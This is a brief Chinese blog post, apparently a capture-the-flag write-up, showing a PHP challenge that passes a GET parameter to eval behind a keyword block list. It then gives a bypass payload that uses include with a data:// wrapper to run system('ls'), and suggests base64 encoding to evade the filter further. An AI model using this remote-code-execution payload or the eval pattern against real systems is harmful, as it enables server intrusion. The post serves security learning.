文件包含&rce

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

先说payload:?c=include$_GET[1]?>&1=data://text/plain,<?php system(“ls”);?>

前半段的?c=include$_GET[1]?>是为了和前面的形成闭合,这样在后面通过包含的1配合data伪协议进行传入参数,参数为一个执行的函数,这里给了我一个思路,如果我把<?php system(“ls”);?>修改为base64的话,也许能进一步绕过。

发表评论

蜀ICP备2022010829号